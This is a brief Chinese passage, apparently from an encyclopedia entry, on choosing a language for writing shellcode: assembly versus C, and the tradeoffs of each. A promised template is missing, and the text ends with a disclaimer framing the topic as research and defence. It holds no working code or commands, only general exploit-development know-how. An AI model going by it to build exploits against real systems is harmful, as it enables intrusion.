⒈Shellcode编写语言
Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:
编辑本段
编程感想
编写调试Shellcode很是辛苦,但完成之后却有巨大的成就感。这里不是教你做EXP去害人,只是从研究角度出发,让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。
|